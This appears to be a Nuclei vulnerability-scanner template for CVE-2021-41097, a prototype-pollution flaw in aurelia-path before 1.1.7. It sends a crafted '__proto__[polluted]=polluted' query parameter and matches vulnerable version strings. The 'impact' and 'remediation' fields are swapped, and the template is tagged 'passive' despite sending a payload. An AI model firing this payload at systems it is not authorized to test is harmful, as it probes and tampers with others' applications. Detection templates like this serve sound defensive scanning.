Aurelia-Path < 1.1.7 - Prototype Pollution

id: CVE-2021-41097

info:
  name: Aurelia-Path < 1.1.7 - Prototype Pollution
  author: 0x_Akoko
  severity: high
  description: |
    Aurelia-path before 1.1.7 contains a prototype pollution caused by parsing malicious URL parameters, letting attackers modify Object.prototype, exploit requires the application to parse user-controlled URLs.
  impact: |
    Update to version 1.1.7 or later.
  remediation: |
    Aurelia-path parseQueryString function was found vulnerable to prototype pollution via crafted __proto__ URL parameters.
  reference:
    - https://github.com/aurelia/path/issues/44
    - https://security.snyk.io/vuln/SNYK-JS-AURELIAPATH-1579475
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41097
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
    cvss-score: 7.5
    cwe-id: CWE-1321
  metadata:
    max-request: 1
    verified: true
    vendor: aurelia
    product: path
    shodan-query: http.component:"aurelia"
  tags: cve,cve2021,aurelia,prototype-pollution,javascript,passive

http:
  - method: GET
    path:
      - "{{BaseURL}}/blog/?__proto__[polluted]=polluted"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "aurelia-path", "parseQueryString")'
          - 'contains_any(body, "1.1.0", "1.1.1", "1.1.2", "1.1.3", "1.1.4", "1.1.5", "1.1.6")'
        condition: and

    extractors:
      - type: regex
        group: 1
        part: body
        regex:
          - 'data-version="([0-9.]+)"'
          - 'version["\s:]+([0-9.]+)'
# digest: 4a0a00473045022100f6e62fcfca799eeeb690bb18f5197daa7570c26e222f488e7cc696968ccf7e6d022062ea2f138952f0f98e03f14cce0f6fc8ed8419731ab69d46b944b3631702e9d5:922c64590222798bb761d5b6d8e72950